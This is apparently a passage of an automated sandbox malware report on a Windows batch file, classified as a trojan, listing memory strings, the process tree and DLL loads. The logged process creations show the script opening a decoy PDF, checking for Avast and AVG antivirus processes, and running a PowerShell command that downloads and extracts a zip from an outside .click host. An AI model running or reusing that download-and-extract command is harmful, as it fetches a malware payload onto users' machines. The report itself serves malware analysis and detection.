Source: svchost.exe, 0000000C.00000003.1346905836.00000241E1879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000C.00000003.1346905836.00000241E1820000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: _musllinux.py.22.dr	String found in binary or memory: https://gist.github.com/lyssdod/f51579ae8d93c8657a5564aefc2ffbca
Source: powershell.exe, 0000000A.00000002.2512280318.0000013C88427000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: extending.html0.22.dr	String found in binary or memory: https://github.com/Python-SIP/sip
Source: cache.py.22.dr	String found in binary or memory: https://github.com/psf/cachecontrol/issues/324).
Source: models.py.22.dr	String found in binary or memory: https://github.com/psf/requests/issues/3578.
Source: models.py.22.dr	String found in binary or memory: https://github.com/psf/requests/pull/2238
Source: __init__.py4.22.dr	String found in binary or memory: https://github.com/pygments/pygments/archive/master.zip#egg=Pygments-dev
Source: wheel.py.22.dr	String found in binary or memory: https://github.com/pypa/pip/issues/1150)
Source: session.py.22.dr	String found in binary or memory: https://github.com/pypa/pip/issues/5499
Source: general.html.22.dr	String found in binary or memory: https://github.com/python/cpython/
Source: about.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/about.rst
Source: buffer.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/buffer.rst
Source: bytearray.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/bytearray.rst
Source: call.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/call.rst
Source: capsule.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/capsule.rst
Source: complex.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/complex.rst
Source: concrete.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/concrete.rst
Source: contextvars.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/contextvars.rst
Source: coro.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/coro.rst
Source: exceptions.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/exceptions.rst
Source: float.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/float.rst
Source: index.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/index.rst
Source: init.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/init.rst
Source: init_config.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/init_config.rst
Source: iter.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/iter.rst
Source: mapping.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/mapping.rst
Source: method.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/method.rst
Source: sequence.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/sequence.rst
Source: set.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/set.rst
Source: tuple.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/tuple.rst
Source: typeobj.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/typeobj.rst
Source: contents.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/contents.rst
Source: copyright.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/copyright.rst
Source: extending.html0.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/faq/extending.rst
Source: general.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/faq/general.rst
Source: gui.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/faq/gui.rst
Source: library.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/faq/library.rst
Source: argparse.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/argparse.rst
Source: clinic.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/clinic.rst
Source: cporting.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/cporting.rst
Source: gdb_helpers.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/gdb_helpers.rst
Source: ipaddress.html.22.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/ipaddress.rst
Source: general.html.22.dr	String found in binary or memory: https://github.com/python/cpython/issues
Source: process.py.22.dr	String found in binary or memory: https://github.com/python/cpython/issues/90622
Source: ann_module9.py.22.dr	String found in binary or memory: https://github.com/python/cpython/issues/96073
Source: about.html.22.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Misc/ACKS
Source: library.html.22.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Modules
Source: update_test_data.py.22.dr	String found in binary or memory: https://github.com/python/mypy/issues/8772
Source: extending.html0.22.dr	String found in binary or memory: https://github.com/scipy/weave
Source: library.html.22.dr	String found in binary or memory: https://groups.google.com/groups?selm=34A04430.CF9@ohioee.com
Source: api.cpython-312.pyc0.22.dr, models.py.22.dr	String found in binary or memory: https://httpbin.org/get
Source: general.html.22.dr	String found in binary or memory: https://infra.psf.io
Source: general.html.22.dr	String found in binary or memory: https://ir.cwi.nl/pub/18204
Source: test_pass1.py.22.dr	String found in binary or memory: https://json.org/JSON_checker/test/pass1.json
Source: test_pass3.py.22.dr	String found in binary or memory: https://json.org/JSON_checker/test/pass3.json
Source: general.html.22.dr	String found in binary or memory: https://mail.python.org/mailman/listinfo/python-list
Source: general.html.22.dr	String found in binary or memory: https://mail.python.org/mailman3/lists/python-announce-list.python.org/
Source: general.html.22.dr	String found in binary or memory: https://mail.python.org/mailman3/lists/python-dev.python.org/
Source: powershell.exe, 0000000A.00000002.2556024426.0000013C983B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2556024426.0000013C98280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: python.cpython-312.pyc.22.dr, python.py.22.dr	String found in binary or memory: https://numpy.org/
Source: wheel.cpython-312.pyc1.22.dr	String found in binary or memory: https://packaging.python.org/specifications/entry-points/#use-for-scripts
Source: req_uninstall.py.22.dr	String found in binary or memory: https://packaging.python.org/specifications/recording-installed-packages/
Source: general.html.22.dr	String found in binary or memory: https://peps.python.org/
Source: general.html.22.dr	String found in binary or memory: https://peps.python.org/pep-0005/
Source: weakref.cpython-312.pyc.22.dr	String found in binary or memory: https://peps.python.org/pep-0205/
Source: test_yield_from.py.22.dr	String found in binary or memory: https://peps.python.org/pep-0342/#new-generator-method-close
Source: general.html.22.dr	String found in binary or memory: https://peps.python.org/pep-0373/
Source: test_yield_from.py.22.dr	String found in binary or memory: https://peps.python.org/pep-0380/#proposal
Source: general.html.22.dr	String found in binary or memory: https://peps.python.org/pep-0387/
Source: init_config.html.22.dr	String found in binary or memory: https://peps.python.org/pep-0432/
Source: typeobj.html.22.dr	String found in binary or memory: https://peps.python.org/pep-0442/
Source: init.html.22.dr	String found in binary or memory: https://peps.python.org/pep-0489/
Source: constructors.py.22.dr	String found in binary or memory: https://peps.python.org/pep-0508/#complete-grammar
Source: init.html.22.dr	String found in binary or memory: https://peps.python.org/pep-0523/
Source: init.html.22.dr, init_config.html.22.dr	String found in binary or memory: https://peps.python.org/pep-0528/
Source: init.html.22.dr	String found in binary or memory: https://peps.python.org/pep-0529/
Source: init_config.html.22.dr	String found in binary or memory: https://peps.python.org/pep-0538/
Source: init.html.22.dr	String found in binary or memory: https://peps.python.org/pep-0539/
Source: init_config.html.22.dr	String found in binary or memory: https://peps.python.org/pep-0540/
Source: init_config.html.22.dr	String found in binary or memory: https://peps.python.org/pep-0552/
Source: init.html.22.dr	String found in binary or memory: https://peps.python.org/pep-0554/
Source: init_config.html.22.dr	String found in binary or memory: https://peps.python.org/pep-0587/
Source: call.html.22.dr	String found in binary or memory: https://peps.python.org/pep-0590/
Source: general.html.22.dr	String found in binary or memory: https://peps.python.org/pep-0602/
Source: typeobj.html.22.dr	String found in binary or memory: https://peps.python.org/pep-0634/
Source: exceptions.html.22.dr	String found in binary or memory: https://peps.python.org/pep-3151/
Source: reporter.cpython-312.pyc.22.dr	String found in binary or memory: https://pip.pypa.io/warnings/backtracking
Source: cporting.html.22.dr	String found in binary or memory: https://py3c.readthedocs.io/en/latest/guide.html
Source: html.py.22.dr	String found in binary or memory: https://pygments.org/
Source: general.html.22.dr, library.html.22.dr	String found in binary or memory: https://pypi.org
Source: library.html.22.dr	String found in binary or memory: https://pypi.org/project/pyserial/
Source: testasync.py.22.dr	String found in binary or memory: https://python.org
Source: _musllinux.py.22.dr	String found in binary or memory: https://refspecs.linuxfoundation.org/elf/gabi4
Source: __version__.py.22.dr	String found in binary or memory: https://requests.readthedocs.io
Source: __version__.cpython-312.pyc.22.dr	String found in binary or memory: https://requests.readthedocs.ioz
Source: unix.cpython-312.pyc.22.dr	String found in binary or memory: https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html
Source: gui.html.22.dr	String found in binary or memory: https://tix.sourceforge.net/
Source: library.html.22.dr	String found in binary or memory: https://twisted.org/
Source: library.html.22.dr	String found in binary or memory: https://web.archive.org/web/20210224183619/http://phaseit.net/claird/comp.lang.python/web_python
Source: general.html.22.dr	String found in binary or memory: https://wiki.python.org/moin/BeginnersGuide
Source: library.html.22.dr	String found in binary or memory: https://wiki.python.org/moin/DatabaseProgramming
Source: gdb_helpers.html.22.dr	String found in binary or memory: https://wiki.python.org/moin/DebuggingWithGdb
Source: gui.html.22.dr	String found in binary or memory: https://wiki.python.org/moin/GuiProgramming#Cross-Platform_Frameworks
Source: gui.html.22.dr	String found in binary or memory: https://wiki.python.org/moin/GuiProgramming#Platform-specific_Frameworks
Source: general.html.22.dr	String found in binary or memory: https://wiki.python.org/moin/PythonBooks
Source: general.html.22.dr	String found in binary or memory: https://wiki.python.org/moin/PythonEditors
Source: library.html.22.dr	String found in binary or memory: https://wiki.python.org/moin/WebProgramming
Source: ReaderMessages.3.dr	String found in binary or memory: https://www.adobe.co
Source: extending.html0.22.dr	String found in binary or memory: https://www.boost.org/libs/python/doc/index.html
Source: extending.html0.22.dr	String found in binary or memory: https://www.csse.canterbury.ac.nz/greg.ewing/python/Pyrex/
Source: library.html.22.dr	String found in binary or memory: https://www.google.com
Source: _aix_support.py.22.dr	String found in binary or memory: https://www.ibm.com/
Source: general.html.22.dr	String found in binary or memory: https://www.list.org
Source: contextvars.html.22.dr	String found in binary or memory: https://www.python.org/
Source: general.html.22.dr	String found in binary or memory: https://www.python.org/about/success
Source: general.html.22.dr	String found in binary or memory: https://www.python.org/community/lists/
Source: general.html.22.dr	String found in binary or memory: https://www.python.org/community/sigs/current/edu-sig
Source: general.html.22.dr	String found in binary or memory: https://www.python.org/community/workshops/
Source: python.py.22.dr	String found in binary or memory: https://www.python.org/dev/peps/pep-0657/
Source: general.html.22.dr, gui.html.22.dr	String found in binary or memory: https://www.python.org/downloads/
Source: general.html.22.dr	String found in binary or memory: https://www.python.org/psf/
Source: general.html.22.dr, genindex-M.html.22.dr, contents.html.22.dr, complex.html.22.dr, genindex-I.html.22.dr, copyright.html.22.dr, genindex-A.html.22.dr, init_config.html.22.dr, argparse.html.22.dr, genindex-K.html.22.dr, iter.html.22.dr, genindex-G.html.22.dr, extending.html0.22.dr, genindex.html.22.dr, mapping.html.22.dr, gui.html.22.dr, library.html.22.dr, float.html.22.dr, exceptions.html.22.dr, coro.html.22.dr, call.html.22.dr	String found in binary or memory: https://www.python.org/psf/donations/
Source: general.html.22.dr	String found in binary or memory: https://www.python.org/psf/trademarks/
Source: general.html.22.dr	String found in binary or memory: https://www.redhat.com
Source: library.html.22.dr	String found in binary or memory: https://www.sphinx-doc.org
Source: general.html.22.dr, genindex-M.html.22.dr, contents.html.22.dr, complex.html.22.dr, genindex-I.html.22.dr, copyright.html.22.dr, genindex-A.html.22.dr, init_config.html.22.dr, argparse.html.22.dr, genindex-K.html.22.dr, iter.html.22.dr, genindex-G.html.22.dr, extending.html0.22.dr, genindex.html.22.dr, mapping.html.22.dr, gui.html.22.dr, library.html.22.dr, float.html.22.dr, exceptions.html.22.dr, coro.html.22.dr, call.html.22.dr	String found in binary or memory: https://www.sphinx-doc.org/
Source: extending.html0.22.dr	String found in binary or memory: https://www.swig.org
Source: gui.html.22.dr	String found in binary or memory: https://www.tcl.tk
Source: _export_format.cpython-312.pyc.22.dr	String found in binary or memory: https://www.textualize.io
Source: general.html.22.dr	String found in binary or memory: https://www.zope.dev
Source: antigravity.py.22.dr	String found in binary or memory: https://xkcd.com/353/
Source: antigravity.py.22.dr	String found in binary or memory: https://xkcd.com/426/

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: classification engine

Classification label: mal72.troj.winBAT@33/1084@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7396:120:WilError_03

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-08 02-42-22-007.log

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\YnViC5yHLu.bat" "

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'

Source: C:\Windows\System32\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\YnViC5yHLu.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\LHEPQPGEWF.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "AvastUI.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1752,i,12446322680789384816,5236615834425625880,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\LHEPQPGEWF.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1752,i,12446322680789384816,5236615834425625880,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
